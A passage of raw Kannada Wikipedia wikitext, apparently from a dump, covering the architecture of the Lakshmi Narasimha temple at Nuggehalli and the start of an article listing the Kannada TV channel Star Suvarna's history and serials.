''ಮಂಟಪವನ್ನು'' ದೇವಾಲಯದ ಒಳಭಾಗದಂತೆ ಕಾಣುತ್ತದೆ. ಕೇಂದ್ರ ದೇಗುಲವು ಪ್ರತಿ ಬದಿಯಲ್ಲಿ ಐದು ಪ್ರಕ್ಷೇಪಣಗಳನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ಗೋಪುರವು ''[[ಕಲಶ|ಕಲಶವಿಲ್ಲದೆ]]'' ಪೂರ್ಣಗೊಂಡಿದೆ (ಮೇಲಿನ ಅಲಂಕಾರಿಕ ರಚನೆ). <ref name="kuta" /> <ref name="kalasa">Quote:"water pot like decorative stone structure on top of the tower. This is often lost over the centuries and normally seen replaced by a metallic pinnacle", Foekema (1996), p. 27</ref> ಮುಖ್ಯ ಗೋಪುರದ ದೇಹವನ್ನು ರೂಪಿಸುವ ತಮ್ಮದೇ ಆದ ''ಕಳಸವನ್ನು'' ಹೊಂದಿರುವ ಮೂರು ಹಂತದ ಅಲಂಕಾರಿಕ ಸಣ್ಣ ಛಾವಣಿಗಳಿವೆ. <ref name="kalasa" /> ವೆಸ್ಟಿಬುಲ್ (ಮೂಗನ್ನು ರೂಪಿಸುವ) ಮೇಲಿನ ಮೇಲ್ವಿನ್ಯಾಸವು ಕೇವಲ ಎರಡು ಹಂತದ ಅಲಂಕಾರಿಕ ಛಾವಣಿಗಳನ್ನು ಹೊಂದಿದೆ. ಈ ಕಾರಣಕ್ಕಾಗಿಯೇ ''ಸುಕನಾಸಿಯು'' ಮುಖ್ಯ ಗೋಪುರದ ವಿಸ್ತರಣೆಯಂತೆ ಕಾಣುತ್ತದೆ. ಎರಡು ಪಾರ್ಶ್ವ ದೇವಾಲಯಗಳು ಪ್ರತಿ ಬದಿಯಲ್ಲಿ ಐದು ಪ್ರಕ್ಷೇಪಣಗಳನ್ನು ಹೊಂದಿವೆ. ಈ ದೇಗುಲಗಳ ಮೇಲ್ಭಾಗ ಮತ್ತು ''ಮಂಟಪದ'' ಗೋಡೆಯು ಮುಖ್ಯ ದೇಗುಲದಂತೆಯೇ ಅಲಂಕೃತ ಛಾವಣಿಗಳ ಸಾಲಿನಿಂದ ಕಿರೀಟವನ್ನು ಹೊಂದಿದೆ. <ref name="location3">{{Cite web|url=http://www.deccanherald.com/deccanherald/apr262005/spectrum1859142005424.asp|title=A haven for architecture lovers|website=Spectrum, Deccan Herald, Tuesday, April 26, 2005|archive-url=https://web.archive.org/web/20070210222227/http://www.deccanherald.com/deccanherald/apr262005/spectrum1859142005424.asp|archive-date=2007-02-10|access-date=2006-11-28|url-status=bot: unknown}}<cite class="citation web cs1" data-ve-ignore="true">. ''Spectrum, Deccan Herald, Tuesday, April 26, 2005''. Archived from [http://www.deccanherald.com/deccanherald/apr262005/spectrum1859142005424.asp the original] on 10 February 2007<span class="reference-accessdate">. Retrieved <span class="nowrap">28 November</span> 2006</span>.</cite></ref> <ref name="kuta" /> <ref name="kalasa" /> ಕಲಾ ವಿಮರ್ಶಕ ಗೆರಾರ್ಡ್ ಫೋಕೆಮಾ ಅವರ ಪ್ರಕಾರ, ದೇವಾಲಯವು "ಹೊಸ" ಹೊಯ್ಸಳ ಶೈಲಿಯದ್ದಾಗಿದೆ <ref name="new">Foekema (1996), p. 85</ref> ಮತ್ತು ಛಾವಣಿಯು ದೇವಾಲಯದ ಹೊರ ಗೋಡೆಗಳನ್ನು ಸಂಧಿಸುವ ''ವಿಮಾನದ'' ಮೇಲ್ವಿನ್ಯಾಸದ ಕೆಳಗೆ ದೇವಾಲಯದ ಸುತ್ತಲೂ ಎರಡು ಸೂರುಗಳಿವೆ . <ref name="eave">Quote:"An eaves is a projecting roof, overhanging the wall", Foekema (1996), p. 93</ref> ಮೇಲಿನ ಸೂರು ಗೋಡೆಯಿಂದ ಅರ್ಧ ಮೀಟರ್ ದೂರದಲ್ಲಿದೆ. ಅಲಂಕಾರಿಕ ಚಿಕಣಿ ಗೋಪುರಗಳ ( ಎಡಿಕ್ಯುಲ್ ) ನಡುವೆ ಮೇಲಿನ ಸೂರುಗಳ ಕೆಳಗೆ ಒಂದು ಮೀಟರ್ ಕೆಳಗೆ ಎರಡನೇ ಸೂರು ಇದೆ. ಹಿಂದೂ ದೇವರುಗಳು ಮತ್ತು ದೇವತೆಗಳು ಹಾಗು ಅವರ ಪರಿಚಾರಕರ ಗೋಡೆಯ ಚಿತ್ರಗಳು ಕೆಳಗಿನ ಸೂರುಗಳ ಕೆಳಗೆ ಇವೆ ಮತ್ತು ಒಟ್ಟಾರೆಯಾಗಿ೧೨೦ ಅಂತಹ ಶಿಲ್ಪಕಲೆ ಫಲಕಗಳಿವೆ. ಇವುಗಳ ಕೆಳಗೆ ಫ್ರೈಜ್‌ನಲ್ಲಿ ಅಲಂಕಾರಗಳೊಂದಿಗೆ ಸಮಾನ ಗಾತ್ರದ ಆರು ಮೋಲ್ಡಿಂಗ್‌ಗಳಿವೆ . ಇತಿಹಾಸಕಾರ ಕಾಮತ್ ಅವರ ಪ್ರಕಾರ ಇದನ್ನು ವಿಶಾಲವಾಗಿ "ಸಮತಲ ಚಿಕಿತ್ಸೆ" ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. <ref name="new" /> <ref name="treat">Kamath (2001), p. 134</ref> ಗೋಡೆಯ ತಳದಲ್ಲಿರುವ ಆರು ಮೋಲ್ಡಿಂಗ್ಗಳನ್ನು ಎರಡು ವಿಭಾಗಗಳಾಗಿ ವಿಂಗಡಿಸಲಾಗಿದೆ. ಗೋಡೆಯು ''ಜಗತಿಯನ್ನು'' ಸಂಧಿಸುವ ತಳದಿಂದ ಪ್ರಾರಂಭಿಸಿ, ಮೊದಲ ಸಮತಲವಾದ ಎಲ್ಮೋಲ್ಡಿಂಗ್ ಆನೆಗಳ ಮೆರವಣಿಗೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಅದರ ಮೇಲೆ ಕುದುರೆ ಸವಾರರು ಮತ್ತು ಮೂರನೆಯದರಲ್ಲಿ ಎಲೆಗಳ ಬ್ಯಾಂಡ್ ಇರುತ್ತದೆ. ಎರಡನೇ ಸಮತಲ ವಿಭಾಗವು ಹಿಂದೂ ಮಹಾಕಾವ್ಯಗಳ ಚಿತ್ರಣ ಮತ್ತು ''ಪುರಾಣದ'' ದೃಶ್ಯಗಳ ವಿವರಗಳೊಂದಿಗೆ ಪ್ರಾರಂಭವಾಗುತ್ತದೆ. ಇದರ ಮೇಲೆ ''ಯಾಲಿಸ್'' (ಅಥವಾ ''ಮಕರ'', ಒಂದು ಕಾಲ್ಪನಿಕ ಪ್ರಾಣಿ) ಮತ್ತು ''ಹಮ್ಸಾಸ್'' (ಹಂಸಗಳು) ಎರಡು ಫ್ರೈಜ್‌ಗಳಿವೆ. ''ವಿಮಾನ'' ಗೋಪುರವನ್ನು ಮೂರು ಅಡ್ಡ ವಿಭಾಗಗಳಾಗಿ ವಿಂಗಡಿಸಲಾಗಿದೆ ಮತ್ತು ಗೋಡೆಗಳಿಗಿಂತಲೂ ಹೆಚ್ಚು ಅಲಂಕೃತವಾಗಿದೆ. <ref name="location3"/> <ref name="new" /> <ref name="mold">Foekema (1996), p. 24</ref> <ref name="yali">Quote:"Art critic [[Percy Brown (scholar)|Percy Brown]] calls this one of the distinguishing features of Hoysala art", Kamath (2001), p. 134</ref> ಫಲಕಗಳಲ್ಲಿನ ಚಿತ್ರಗಳು ಬಹುಪಾಲು ನಂಬಿಕೆಯಲ್ಲಿ [[ವೈಷ್ಣವ ಪಂಥ|ವೈಷ್ಣವ]] ಮತ್ತು ಎರಡು ಪ್ರಸಿದ್ಧ ಹೊಯ್ಸಳ ಶಿಲ್ಪಿಗಳಾದ ಬೈಚೋಜ ಮತ್ತು ಮಲ್ಲಿತಮ್ಮ ಅವರಿಗೆ ಕಾರಣವಾಗಿವೆ. <ref name="sculptors">Foekema (1996), p.85, {{Cite web|url=http://www.deccanherald.com/deccanherald/apr262005/spectrum1859142005424.asp|title=A haven for architecture lovers|last=M S Dwarakinath|website=Spectrum, Deccan Herald, Tuesday, April 26, 2005|publisher=Decan Herald|archive-url=https://web.archive.org/web/20070210222227/http://www.deccanherald.com/deccanherald/apr262005/spectrum1859142005424.asp <!-- Bot retrieved archive -->|archive-date=2007-02-10|access-date=2006-11-28}}</ref> [[ಭೈರವ|ಭೈರವನ]] ರೂಪದಲ್ಲಿರುವ [[ಶಿವ|ಶಿವನ]] ಕೆಲವು ಚಿತ್ರಗಳು ಅವನ ಪತ್ನಿ [[ಭೈರವಿ(ದೇವತೆ)|ಭೈರವಿಯೊಂದಿಗೆ]] ಇವೆ. ಬೈಚೋಜಾ ಅವರ ಶಿಲ್ಪಗಳು ದೇವಾಲಯದ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿವೆ ಮತ್ತು ಫೋಕೆಮಾ ಪ್ರಕಾರ, ಅವುಗಳಲ್ಲಿ ಒಂದು ನಿರ್ದಿಷ್ಟ ಶಾಂತಿ ಮತ್ತು ಘನತೆ ಇದೆ. ಮಲ್ಲಿತಮ್ಮನ ಶಿಲ್ಪಗಳು ಉತ್ತರ ಭಾಗದಲ್ಲಿವೆ. ಅವರ ಪ್ರಕಾರ ಅವರು ಉತ್ತಮವಾಗಿಲ್ಲದಿದ್ದರೂ ಉತ್ಸಾಹಭರಿತರಾಗಿದ್ದಾರೆ ಮತ್ತು ಹೆಚ್ಚಿನ ವೈವಿಧ್ಯತೆಯನ್ನು ಹೊಂದಿದ್ದಾರೆ. <ref name="malli">Foekema, (2001), p. 85</ref> ಮೂರು ದೇವಾಲಯಗಳು [[ವಿಷ್ಣು|ವಿಷ್ಣುವಿನ]] ಎಲ್ಲಾ [[ಅವತಾರ|ಅವತಾರಗಳಾದ]] ವೇಣುಗೋಪಾಲ, ಕೇಶವ ಮತ್ತು [[ನರಸಿಂಹ|ಲಕ್ಷ್ಮೀನರಸಿಂಹನ]] ಚಿತ್ರಗಳನ್ನು ಒಳಗೊಂಡಿವೆ. <ref name="location3"/> <ref name="malli" /> == ಗ್ಯಾಲರಿ == <gallery> ಚಿತ್ರ:Molding frieze articulation on shrine outer wall in Lakshmi Narasimha temple at Nuggehalli.JPG|ನುಗ್ಗೇಹಳ್ಳಿಯ ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ದೇವಸ್ಥಾನದಲ್ಲಿ ದೇವಸ್ಥಾನದ ಸುತ್ತ ಪ್ರದಕ್ಷಿಣೆ ಹಾಕುವ ಮಾರ್ಗದಲ್ಲಿರುವ ಶಿಲಾ ಶಾಸನಗಳು ಚಿತ್ರ:Molding frieze and Hindu deities in relief in Lakshmi Narasimha temple at Nuggehalli.JPG |ನುಗ್ಗೇಹಳ್ಳಿಯ ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ದೇವಸ್ಥಾನದಲ್ಲಿ ಪರಿಹಾರ ಶಿಲ್ಪ ಚಿತ್ರ:Hindu deities and aedicule relief between eves in Lakshmi Narasimha temple at Nuggehalli.JPG|ನುಗ್ಗೇಹಳ್ಳಿಯ ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ದೇವಸ್ಥಾನದಲ್ಲಿನ ಹಿಂದೂ ದೇವತೆಗಳು </gallery> == ಸಹ ನೋಡಿ == * ಸದಾಶಿವ ದೇವಾಲಯ == ಟಿಪ್ಪಣಿಗಳು == {{Reflist|33em}} == ಉಲ್ಲೇಖಗಳು == * ಸೂರ್ಯನಾಥ್ ಯು. ಕಾಮತ್ (2001). ಪೂರ್ವ-ಐತಿಹಾಸಿಕ ಕಾಲದಿಂದ ಇಂದಿನವರೆಗಿನ ಕರ್ನಾಟಕದ ಸಂಕ್ಷಿಪ್ತ ಇತಿಹಾಸ, ಜುಪಿಟರ್ ಬುಕ್ಸ್, MCC, ಬೆಂಗಳೂರು (ಮರುಮುದ್ರಿತ 2002). * ಗೆರಾರ್ಡ್ ಫೊಕೆಮಾ, ಹೊಯ್ಸಳ ದೇವಾಲಯಗಳಿಗೆ ಸಂಪೂರ್ಣ ಮಾರ್ಗದರ್ಶಿ, ಅಭಿನವ್, 1996  * * == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.deccanherald.com/deccanherald/apr262005/spectrum1859142005424.asp ನುಗ್ಗೇಹಳ್ಳಿ, ವಾಸ್ತುಶಿಲ್ಪ ಪ್ರಿಯರಿಗೆ ಸ್ವರ್ಗ] * [http://nuggehalli.org/index.html ನುಗ್ಗೇಹಳ್ಳಿ ಶ್ರೀ ಲಕ್ಷ್ಮೀ ನರಸಿಂಹ ಸೇವಾ ಸಮಿತಿ] * [http://blog.sivaraj.in/2013/05/stones-telling-about-krishna-nuggehalli.html ಫ್ರೈಜ್ನಲ್ಲಿ ಕೃಷ್ಣ ಇತಿಹಾಸ] * [https://www.flickr.com/photos/waterlemon/sets/72157602428923172/detail/ ನುಗ್ಗೇಹಳ್ಳಿ ದೇವಸ್ಥಾನ ಮತ್ತು ಗ್ರಾಮದ ಫ್ಲಿಕರ್‌ನಲ್ಲಿರುವ ಫೋಟೋಗಳು] * [http://www.nuggehalli.org/index.html] [[ವರ್ಗ:ದೇವಾಲಯಗಳು]] 954li03sl8oawps0vywpi475i5anwd9 ಸ್ಟಾರ್ ಸುವರ್ಣ 0 144760 1116602 1116317 2022-08-24T09:20:12Z Ishqyk 76644 wikitext text/x-wiki {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|name=ಸ್ಟಾರ್ ಸುವರ್ಣ|network=ಡಿಸ್ನಿ ಸ್ಟಾರ್|owner=ಡಿಸ್ನಿ ಸ್ಟಾರ್|slogan=ಬದಲಾವಣೆಯ ಬೆಳಕು|country=[[ಭಾರತ]]|language=[[ಕನ್ನಡ]]|headquarters=[[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]]|former names=ಏಷ್ಯಾನೆಟ್ ಸುವರ್ಣ (2007-2016)|broadcast area=ಭಾರತ|launch=ಜೂನ್ 17, 2007; 15 ವರ್ಷಗಳ ಹಿಂದೆ|logofile=Star Suvarna Channel.jpeg}} '''ಸ್ಟಾರ್ ಸುವರ್ಣ''' ಎಂಬುದು ಭಾರತೀಯ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] [[ಮನೋರಂಜನೆ|ಸಾಮಾನ್ಯ ಮನರಂಜನಾ]] ಪಾವತಿ ಟೆಲಿವಿಷನ್ ಚಾನೆಲ್ ಆಗಿದ್ದು, ಇದು ವಾಲ್ಟ್ ಡಿಸ್ನಿ ಕಂಪನಿ ಇಂಡಿಯಾದ ಅಂಗಸಂಸ್ಥೆಯಾದ ಡಿಸ್ನಿ ಸ್ಟಾರ್ (ಹಿಂದೆ ''ಸ್ಟಾರ್ ಇಂಡಿಯಾ'' ) ಒಡೆತನದಲ್ಲಿದೆ. ಚಾನೆಲ್ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಕಾರ್ಯಕ್ರಮಗಳಾದ ನಾಟಕ, ರಿಯಾಲಿಟಿ ಶೋಗಳು ಮತ್ತು ಕನ್ನಡ ಚಲನಚಿತ್ರಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. [[ವರ್ಗ::ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] == ಇತಿಹಾಸ == ಇದನ್ನು ಜೂನ್ 17, 2007 ರಂದು ಜುಪಿಟರ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ವೆಂಚರ್ (ಜೆಇವಿ) ಏಷ್ಯಾನೆಟ್ ಸುವರ್ಣ ಎಂದು ಏಷ್ಯಾನೆಟ್ ಕಮ್ಯುನಿಕೇಷನ್ಸ್ ಲಿಮಿಟೆಡ್ ಒಡೆತನದಲ್ಲಿ ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/jevs-suvarna-tv-to-launch-on-june-17tamil-channel-next-26364.html|title=JEV's Suvarna TV to launch on June 17; Tamil channel next - Exchange4media|website=exchange4media|access-date=2019-03-22}}</ref> ಸ್ಟಾರ್ ಸುವರ್ಣವು 2010 ರಲ್ಲಿ [[ತುಳು|ತುಳು ಭಾಷೆಯ]] ಕಾರ್ಯಕ್ರಮಗಳಿಗೆ ಪ್ರಾಮುಖ್ಯತೆ ನೀಡಿದ ಭಾರತದ ಮೊದಲ ವಾಹಿನಿಯಾಗಿದೆ, ಆದರೆ ಚಾನೆಲ್ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಕಾರ್ಯಕ್ರಮಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/suvarna-tv-upbeat-about-its-tulu-programming-39705.html|title=Suvarna TV upbeat about its Tulu programming|date=October 11, 2010|website=exchange4media|access-date=2021-02-24}}</ref> 2013 ರಲ್ಲಿ, ಸ್ಟಾರ್ ಇಂಡಿಯಾ ತಮ್ಮ ಮೂಲ ಕಂಪನಿಯಿಂದ ಸುದ್ದಿ ವಾಹಿನಿಗಳನ್ನು ಹೊರತುಪಡಿಸಿ ಏಷ್ಯಾನೆಟ್ ಕಮ್ಯುನಿಕೇಷನ್ಸ್ ಅನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>{{Cite web|url=https://www.medianama.com/2014/03/223-star-india-asianet/|title=STAR India acquires 100% Stake In Asianet Communications|date=13 March 2014|publisher=Medianama|access-date=18 October 2019}}</ref> 25 ಜುಲೈ 2016 ರಂದು, ಚಾನೆಲ್ ಅನ್ನು ಅದರ ಸಹೋದರ ಚಾನೆಲ್ ಸ್ಟಾರ್ ಸುವರ್ಣ ಪ್ಲಸ್ ಜೊತೆಗೆ ಸ್ಟಾರ್ ಸುವರ್ಣ ಎಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.indiantelevision.com/television/tv-channels/regional/star-india-rebrands-suvarna-channels-revamps-programming-lineup-160720|title=Star India rebrands Suvarna channels, revamps programming lineup|date=20 July 2016|website=[[Indian Television]]}}</ref> <ref>{{Cite web|url=http://www.startv.com/newsroom/suvarna-is-now-bigger-with-star-suvarna/|title=Suvarna is now bigger with 'Star Suvarna'|website=Star TV}}</ref> ಸ್ಟಾರ್ ಸುವರ್ಣ ಪ್ಲಸ್ ಅನ್ನು 14 ಆಗಸ್ಟ್ 2013 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/archive/a-new-star-in-the-southern-skies/1145414/|title=A new star in the southern skies|website=The Financial Express}}</ref> ಸ್ಟಾರ್ ಸುರ್ವಾನಾ ತನ್ನದೇ ಆದ ಹೈ-ಡೆಫಿನಿಷನ್ ಸಿಮುಲ್ಕಾಸ್ಟ್ ಅನ್ನು 15 ಜುಲೈ 2017 ರಂದು ಪ್ರಾರಂಭಿಸಿತು. ಇದು HD ದೃಶ್ಯಗಳು ಮತ್ತು ಡಾಲ್ಬಿ ಡಿಜಿಟಲ್ ಪ್ಲಸ್ 5.1 ಧ್ವನಿ ಗುಣಮಟ್ಟವನ್ನು ನೀಡುತ್ತದೆ. <ref>{{Cite web|url=http://cablequest.org/index.php/news/national-news/item/10658-star-suvarna-hd-launched-on-tata-sky|title=Star Suvarna HD launched on Tata Sky|website=CableQuest Magazine|language=en-gb|access-date=2019-03-24}}</ref> <ref>{{Cite web|url=http://www.startv.com/newsroom/star-suvarna-hd-launch/|title=STAR SUVARNA HD LAUNCH|website=Star TV}}</ref> == ಪ್ರಸ್ತುತ ಪ್ರಸಾರಗಳು == === ಮೂಲ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ! ಅಳವಡಿಕೆ |- | 30 ಮೇ 2022 ''(ಮೂಲ ದೂರದರ್ಶನ - 2016)'' | ''ಹರ ಹರ ಮಹಾದೇವ'' | (ಮರು-ಪ್ರಸಾರ) |- | 18 ಏಪ್ರಿಲ್ 2022 | ''ರಾಜಿ'' | [[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಕೆ ಅಪೋನ್ ಕೆ ಪೋರ್'' |- | 23 ಮೇ 2022 | ''ಅರ್ಧಾಂಗಿ'' | [[ತೆಲುಗು]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಚೆಲ್ಲೆಲಿ ಕಾಪುರಂ'' |- | 22 ಜನವರಿ 2018 | <nowiki><i id="mwVQ">ಮುದ್ದುಲಕ್ಷ್ಮಿಯ ಮುದ್ದುಮಣಿಗಳು</i></nowiki> | [[ಮಲಯಾಳಂ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಕರುತಮುತ್ತು'' |- | 31 ಜನವರಿ 2022 | ''ಬೆಟ್ಟದ ಹೂ'' | [[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಇಷ್ಟಿ ಕುಟುಮ್'' |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಮರಳಿ ಮನಸಾಗಿದೆ'' | [[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಕುಸುಮ್ ಡೋಲಾ'' |- | 21 ಡಿಸೆಂಬರ್ 2020 | ''ಯಡಿಯೂರು ಶ್ರೀ ಸಿದ್ಧಲಿಂಗೇಶ್ವರ'' | |- | 7 ಡಿಸೆಂಬರ್ 2020 | ''ಮನಸೆಲ್ಲಾ ನೀನೇ'' | [[ಹಿಂದಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಯೇ ಹೈ ಚಾಹತೇನ್'' |- | 21 ಫೆಬ್ರವರಿ 2022 | ''ಜೇನುಗೂಡು'' | [[ಬಂಗಾಳಿ ಭಾಷೆ|ಬಂಗಾಳಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಖೋರ್ಕುಟೊ'' |} === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು |- | 12 ಅಕ್ಟೋಬರ್ 2020 | ''ಸುವರ್ಣ ಸಂಕಲ್ಪ'' |- | 27 ಸೆಪ್ಟೆಂಬರ್ 2021 | ''ಬೊಂಬಾಟ್ ಭೋಜನ ಸೀಸನ್ 2'' |- | 23 ಆಗಸ್ಟ್ 2021 | ''ಸುವರ್ಣ ಸೂಪರ್‌ಸ್ಟಾರ್ ಸೀಸನ್ 2'' |- | 16 ಜುಲೈ 2022 | ''ಇಸ್ಮಾರ್ಟ್ ಜೋಡಿ'' |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ! ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ |- | 10 ಜನವರಿ 2022 | ''ಅನುರಾಗ ಅರಳಿತು'' | [[ತೆಲುಗು]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಎನ್ನೆನ್ನೋ ಜನ್ಮಲ ಬಂಧಂ'' |- | 10 ಜನವರಿ 2022 | ''ಹೊಂಗನಸು'' | [[ತೆಲುಗು]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಗುಪ್ಪೆದಂತ ಮನಸು'' |- | 25 ಜುಲೈ 2022 | ''ಬಂಗಾರದ ಪಂಜರ'' | ತೆಲುಗು ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬಂಗಾರು ಪಂಜರಂ'' |- | 18 ಮೇ 2020 | ''ರಾಧಾ ಕೃಷ್ಣ'' | [[ಹಿಂದಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ರಾಧಾಕೃಷ್ಣ'' |} == ಹಿಂದಿನ ಪ್ರಸಾರಗಳು == === ನಾಟಕ === * ''ಆಕಾಶದೀಪ'' (2012-2014) <ref>{{Cite web|url=https://www.indiantvinfo.com/akashadeepa-kannada-serial/|title=Akashadeepa, Keladi Chennamma, Bhagyavantharu – Suvarna Launches 3 Mega Fiction Shows|website=Indiatvinfo|access-date=2021-09-12}}</ref> * ''ಆಕಾಶದೀಪ'' (2021-2022) * ''ಅಂಬಾರಿ'' (2014-2015) * ''ಅಮ್ಮ'' (2016-2017) * ''ಅಮೃತ ವರ್ಷಿಣಿ'' (2012-2017) * ''ಅಮೃತ ವರ್ಷಿಣಿ'' (2018-2019) * ''ಅಣ್ಣ ತಂಗಿ'' (2011-2012) * ''ಅಂತಃಪುರ'' (2015) * ''ಅನುರೂಪ'' (2014-2016) * ''ಅರಮನೆ ಗಿಲಿ'' (2019-2020) * ''ಅರಗಿಣಿ'' (2013-2015) * ''ಅರ್ಥಿಗೊಬ್ಬ ಕೀರ್ತಿಗೊಬ್ಬ'' (2019-2020) * ''ಅವಲಕ್ಕಿ ಪಾವಲಕ್ಕಿ'' (2009-2010) * ''ಅವನು ಮತ್ತೆ ಶ್ರಾವಣಿ'' (2014-2017) * ''ಬಯಸದೆ ಬಲಿ ಬಂದೆ'' (2019-2020) * ''ಬೀದಿಗೆ ಬಿದ್ದವರು'' (2010) <ref>{{Cite web|url=https://www.newindianexpress.com/entertainment/2010/oct/16/beedige-biddavaru-on-suvarna-195613.html|title=Beedige Biddavaru on Suvarna|date=2010-10-16|website=New Indian Express|access-date=2021-09-11}}</ref> * ''ಭಾಗ್ಯವಂತರು'' (2012) * ''ಬಿಳಿ ಹೆಂಡ್ತಿ'' (2018-2019) * ''ಬೊಂಬೆಯಾಟವಯ್ಯ'' (2010-2011) <ref>{{Cite web|url=https://www.indiantvinfo.com/bombeyatavayya-mega-serial-on-suvarna-tv/|title=Bombeyatavayya New Mega Serial on Suvarna TV from 13 Dec|website=Indiatvinfo|access-date=2021-09-11}}</ref> * ''ಚೆಲುವಿ'' (2012-2013) * ''ಚುಕ್ಕಿ'' (2012-2013) <ref>{{Cite web|url=https://www.indiantvinfo.com/suvarna-serial-chukki/|title=Chukki – New Fiction Show Of Suvarna Starting From 16th April|date=2012-04-11|website=Indiatvinfo|access-date=2021-09-12}}</ref> * ''ಸಹಪಾಠಿಗಳು'' (2010-2012) * ''ದುರ್ಗಾ'' (2015-2017) * ''ಎಲ್ಲರಂತಲ್ಲ ನಮ್ಮ ರಾಜಿ'' (2010) <ref>{{Cite web|url=https://www.adgully.com/ellaranthalla-namma-raaji-is-the-new-fiction-at-suvarna-43912.html|title=Ellaranthalla Namma Raaji is the new fiction at Suvarna|date=2010-07-30|website=Adgully|access-date=2021-09-11}}</ref> * ''ಎರಡು ಕನಸು'' (2017-2018) * ''ಗೀತಾಂಜಲಿ'' (2016-2017) * ''ಗೋತನಾಗ ಪೋರ್ತಾಂಡ್'' (2010-2011) (ಚಾನೆಲ್‌ನ ಮೊದಲ [[ತುಳು|ತುಳು ಭಾಷೆಯ]] ಧಾರಾವಾಹಿ) * ''ಗುಂಡ್ಯಾನ್ ಹೆಂಡ್ತಿ'' (2016) * ''ಗುರು ರಾಘವೇಂದ್ರ ವೈಭವ'' (2010-2012) * ''ಹರ ಹರ ಮಹಾದೇವ'' (2016-2018) * ''ಹುಷಾರ್ ಕರ್ನಾಟಕ'' (2016) * ''ಇದ್ರೆ ಇರಬೇಕು ನಿನಹಂಗಾ'' (2009-2010) <ref>{{Cite web|url=http://sandalwoodnews.blogspot.com/2009/11/socio-political-series-idhre-irabeku.html?m=1|title=Socio Political series- 'Idhre Irabeku Ninhange|date=2009-11-06|website=sandalwood. blogspot.com|access-date=2021-09-11}}</ref> * ''ಇಂತಿ ನಿಮ್ಮ ಆಶಾ'' (2019-2022) * ''ಜಾನಕಿ ರಾಘವ'' (2017-2018) * ''ಜೀವನ ಚೈತ್ರ'' (2016) * ''ಜೀವಾ ಹೂವಾಗಿಡೆ'' (2020-2022) * ''ಕೇವಲ ಮಠ ಮಠದಲ್ಲಿ'' (2016-2017) * ''ಕರಂಜಿ'' (2014) * ''ಕರ್ಪೂರದ ಗೊಂಬೆ'' (2013-2014) * ''ಕೆಳದಿ ಚೆನ್ನಮ್ಮ'' (2012) * ''ಕೃಷ್ಣ ರುಕ್ಮಿಣಿ'' (2011-2013) * ''ಕೃಷ್ಣ ತುಳಸಿ'' (2018-2019) * ''ಕುರುಕ್ಷೇತ್ರ'' (2008) * ''ಕುಶಿ'' (2015) * ''ಲಕುಮಿ'' (2010-2012) * ''ಮಧುಬಾಲಾ'' (2014-2015) * ''ಮಹಾರಾಣಿ'' (2018-2019) * ''ಮಾನಸಪುತ್ರಿ'' (2008) * ''ಮರಳಿ ಬಂದಳು ಸೀತೆ'' (2019-2020) * ''ಮತ್ತೆ ವಸಂತ'' (2020-2022) * ''ಮೀರಾ ಮಾಧವ'' (2013-2014) * ''ಮೇಘಮಂದರ'' (2008-2009) * ''ಮಿಲಾನಾ'' (2013-2016) * ''ಮೌನರಾಗ'' (2018-2019) * ''ನಾನ್ ಹೆಂಡ್ತಿ ಎಂಬಿಬಿಎಸ್'' (2019) * ''ನಾಗ ಪಂಚಮಿ'' (2012) * ''ನೀಲಿ'' (2016-2018) * ''ನಿಹಾರಿಕಾ'' (2016-2017) * ''ನಿರ್ಭಯಾ'' (2015) * ''ಪಾರಿಜಾತ'' (2009) <ref>{{Cite web|url=https://bangaloremirror.indiatimes.com/entertainment/south-masala/parijata-runs-backwards/articleshow/22065976.cms|title=Parijata runs 